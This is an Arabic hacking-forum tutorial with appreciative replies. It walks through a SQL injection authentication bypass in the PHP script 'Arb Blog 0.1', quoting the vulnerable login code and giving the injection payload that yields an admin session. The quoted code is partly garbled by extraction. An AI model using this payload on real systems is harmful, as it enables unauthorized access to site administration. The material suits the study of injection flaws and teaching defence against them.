إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

تحليل واكتشاف ثغرات [ Auth bypass vuln ]

تقليص
X
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • تحليل واكتشاف ثغرات [ Auth bypass vuln ]

    السلام عليكم ورحمة الله وبركاته

    وأخيرا نعود بعد غياب طويل. لم أعرف كيف وأين أبدأ لذا سأتجاوز المقدمات

    بعيدا عن الاستغلالات العشوائية والاستهلاك بدون أي فهم للثغرات. قررت أطرح موضوع بسيط. وهو اكتشاف ثغرات Auth bypass vuln

    ماهي هذه الثغرة ومايمكن فعله بها وكيف يتم اكتشافها, كل هذا في درسنا.

    في البداية هذه الثغرة تعني تجاوز الدخول, تجاوز الدخول لأي منطقة او مكان يمنع الوصول له

    مثال لوحة التحكم, يتم تجاوز الدخول بسبب خطأ ارتكبه المبرمج. ويتم استخدام سواء الحقن او التلاعب في الكوكيز في الاستغلال.

    اذا واضح ان الثغرة خطيرة للغاية وتمكنك مثلا من الوصول للوحة التحكم بدون يوزر وباسورد

    راح ناخذ مثالين على الاخطاء الي تحصل من المبرمج على ثغرات وسكربتات حقيقية

    في المثال الاول راح نطبق على سكربت Arb Blog 0.1

    هذا السكربت فيه ثغرة من نوع Auth bypass vuln

    كيف عرفنا بدون مانشوف السورس ؟



    سهلة. ندخل على السكربت ونكتب في خانة اليوزر والباسوور '

    ونرى هذا الخطأ



    الذي يعني خطأ في قاعدة البيانات

    لكن هذه الطريقة ليست دائما اكيدة في بعض السكربتات تكون مانعه ضهور الاخطاء

    لذلك من الأفضل التأكد من السورس

    في ملف Login.php توجد الثغرة

    كود PHP:
    $username $_POST['username'];
    $userpass md5($_POST['userpass']);

    if(
    $username != "" && $userpass != ""){

    $selectus mysql_query("SELECT * from users where username = '".$username."' ") or die("mysql error");
    if(
    mysql_num_rows($selectus) <= ){
    die(
    "False Name");
    }else{
    $selectps mysql_query("SELECT * from users where password = '".$userpass."' ") or die("mysql error");
    if(
    mysql_num_rows($selectps) <= 0){
    die(
    "False pass");
    }else{
    $selectuser mysql_query("SELECT * from users where username = '".$username."' and password = '".$userpass."'");
    if(
    mysql_num_rows($selectuser) <= ){
    die(
    "Ma3lomate khati1a");
    }else{
    $rowus mysql_fetch_object($selectuser);
    setcookie('life_username',$rowus->username,time()+60*60*60*24);
    setcookie('life_id',$rowus->id_user,time()+60*60*60*24); 

    الثغرة عبارة عن حقن للمغير username وهذا المتغير يستقبل عن طريق POST

    هذا المتغير مافيه اي فلترة ويدخل في الاستغلام

    لكن هل تعتبر هذه ثغرة حقن ام تجاوز الدخول ؟

    تعتبر ثغرة حقن ويمكننا ترقيتها لتكون تجاوز لدخول

    في الملف login.php

    يعمل ثلاث استعلامات باستخدام المدخل username و userpass

    المدخل الاول مافيه اي فلترة وحماية لكن المدخل الثاني يتم تشفيره بـ md5 وراح نتجاوز هذي المشكلة ماعليكم.

    راح ندخل حقنه بسيطة في username تمكننا من تجاوز الشروط والحصول على الجلسة او السيشن

    كود PHP:
    $rowus mysql_fetch_object($selectuser);
    setcookie('life_username',$rowus->username,time()+60*60*60*24);
    setcookie('life_id',$rowus->id_user,time()+60*60*60*24); 
    حتى نستطيع الدخول للوحة التحكم

    فيه اربعة شروط للسير فيها حتى نصل للجلسة.

    الشرط الاول يقول

    كود PHP:
    if($username != "" && $userpass != ""){ 
    يجب على المدخلين الا يكونا فارغين. وهذا سهل ندخل فيه اي بيانات

    كود PHP:
    $selectus mysql_query("SELECT * from users where username = '".$username."' ") or die("mysql error");
    if(
    mysql_num_rows($selectus) <= ){
    die(
    "False Name"); 
    في هذا الشرط ينفذ استعلام بستخدام $username

    ويتأكد هل اذا كان الاستعلام يساوي او اصغر من صفر يغلق البرنامج بستخدام die

    كيف ممكن تخطي هذا الاستعلام؟

    مو قلنا انه $username مافيه اي فلترة ويمكن نتلاعب فيه حتى يصير الاستعلام صحيح

    ويرجع لنا بقيمة اكبر من الصفر

    طيب تمام سوف نظيف هذه الحقنة البسيطة

    كود PHP:
    admin ' or '1' = '
    وهكذا سيكون الاستعلام الكامل بالسكربت

    كود PHP:
    SELECT from users where username 'admin ' or '1' '1' # ' 
    تحتاج خبرة بسيطة في SQL حتى تفهم الاستعلام لكن راح اشرحه.

    الاستعلام يقول ابحث لي في جدول اليوزرات عن username يساوي admin

    وبعدها اظنفا عليه or اي اذا لم تجده واحد يساوي واحد !

    وهذه نتيجه صحيحة واحد يساوي واحد وكل رقم وضعته بين '' حتى مايحصل اخطاء مع انه صحيح بدون ''

    وهكذا سيرجع برقم اكبر من صفر ونتجاوز الشرط الاول

    راح اشرح الان فائدة # الكبيرة

    لو غيرنا الاستعلام وقلنا

    كود PHP:
    admin ' or '1' = '
    طبعنا خطأ لأنه واحد مايساوي اثنين وراح يرجع بقيمة 0

    المهم انه الحقنه الصحيحه هي

    كود PHP:
    admin ' or '1' = '


    وهكذا تجاوزنا الشرط الثاني

    الشرط الثالث

    كود PHP:
    $selectps mysql_query("SELECT * from users where password = '".$userpass."' ") or die("mysql error");
    if(
    mysql_num_rows($selectps) <= 0){
    die(
    "False pass"); 
    هذا يقوم بالبحث عن الباسورد المدخل واذا ماوجده يغلق البرنامج. كيف راح نتخطاه مع العلم انه userpass مشفر md5 ومانقدر نتلاعب فيه؟

    الحل انه نقوم بتسجيل بشكل عادي في السكربت وبعدها نضع هنا الباسورد المسجل من قبل

    فهو سيجد الباسورد الذي سجلت فيه قبل وراح نتجاوز هذا الشرط

    الشرط الاخير هو

    كود PHP:
    $selectuser mysql_query("SELECT * from users where username = '".$username."' and password = '".$userpass."'");
    if(
    mysql_num_rows($selectuser) <= ){
    die(
    "Ma3lomate khati1a"); 
    هذا الشرط يستعلم عن اليوزر والباسورد ايضا مع بعض ويتأكد هل يعود بقيمة تساوي صفر او لا

    اذا عاد بقيمة اصغر او تساوي صفر يغلق البرنامج

    هنا تأتي فائدة #

    هذي في لغة sql تجعل مابعدها مجرد تعليق ماله فائدة

    فعندما نظيف # تلغي مابعدها وراح يكون الاستعلام كامل بعد هذه الحقنه في username
    كود PHP:
    admin ' or '1' = '
    وسيكون الاستعلام الكامل هكذا

    كود PHP:
    SELECT from users where username 'admin' or '1' '1' # ' and password = '123456' 

    الان راح يكون الاستعلام صحيح ومابعد # ماله اي فائدة

    وهكذا تجاوزنا جميع الشروط وحصلنا على السيشن او الجلسة لدخول للوحة التحكم



    طيب. بعضكم قد يتسائل لمذا أعطانا صلاحيات المدير وليس صلاحيات عضو اخر

    الجواب يمكن هنا
    كود PHP:
    $rowus mysql_fetch_object($selectuser);
    setcookie('life_username',$rowus->username,time()+60*60*60*24);
    setcookie('life_id',$rowus->id_user,time()+60*60*60*24); 

    هنا الكوكيز تساوي المخرج من الاستعلام والتلاعب الذي قمنا به في الاستعلام راح يرجعلنا اول عضوية يلقاها وهي الغالب تكون عضوية الادمن.


    وفي النهاية اتمنى أن الموضوع نال اعجابكم.. وكلمة شكر هي كل مانطلبه في مقابل العطاء.
    الى موضوع اخر~
    Private message me if you need any help


  • #2
    رد: تحليل واكتشاف ثغرات [ Auth bypass vuln ]

    الله يعطيك الف عافية ويوفقك، موضوع رائع مثل صاحبه
    وشرف إلي إني اكون اول رد.
    !! لآ تتعلم لتخترق ~ إخترق لتتعلم !!

    تعليق


    • #3
      رد: تحليل واكتشاف ثغرات [ Auth bypass vuln ]

      المشاركة الأصلية بواسطة cwne مشاهدة المشاركة
      الله يعطيك الف عافية ويوفقك، موضوع رائع مثل صاحبه
      وشرف إلي إني اكون اول رد.
      تشكر على المرور أخي~
      Private message me if you need any help

      تعليق


      • #4
        رد: تحليل واكتشاف ثغرات [ Auth bypass vuln ]

        والله موضوعك مميز اخي
        مع انه معنديش خبرة في البرمجة والحاجات دي بس استفدت كثيير
        شكرا شكرا ويعطيك العافية

        تعليق


        • #5
          رد: تحليل واكتشاف ثغرات [ Auth bypass vuln ]

          المشاركة الأصلية بواسطة tedt مشاهدة المشاركة
          والله موضوعك مميز اخي
          مع انه معنديش خبرة في البرمجة والحاجات دي بس استفدت كثيير
          شكرا شكرا ويعطيك العافية
          تشكر على المرور يا غالي, ردودكم هي مايجعلنا نعطي أكثر.
          Private message me if you need any help

          تعليق


          • #6
            شرح جميل يعيطيك العافيه

            تعليق


            • #7
              المشاركة الأصلية بواسطة DR.H0M3R مشاهدة المشاركة
              شرح جميل يعيطيك العافيه
              تشكر على المرور يا غالي, اشتقنا اليك.
              Private message me if you need any help

              تعليق


              • #8
                أحسنت أستاذ إسماعيل، شرح مفهوم وميسر بالتوفيق يا صديق
                قال سفيان الثوري : ماعالجت شيئا أشدَ على نفسي منْ نِيَتِي
                [#]

                تعليق


                • #9
                  المشاركة الأصلية بواسطة r00t MoUkA مشاهدة المشاركة
                  أحسنت أستاذ إسماعيل، شرح مفهوم وميسر بالتوفيق يا صديق
                  تشكر أخي موكا. وين هدي الغيبة أخي بتمنى أنك على خير
                  Private message me if you need any help

                  تعليق

                  يعمل...
                  X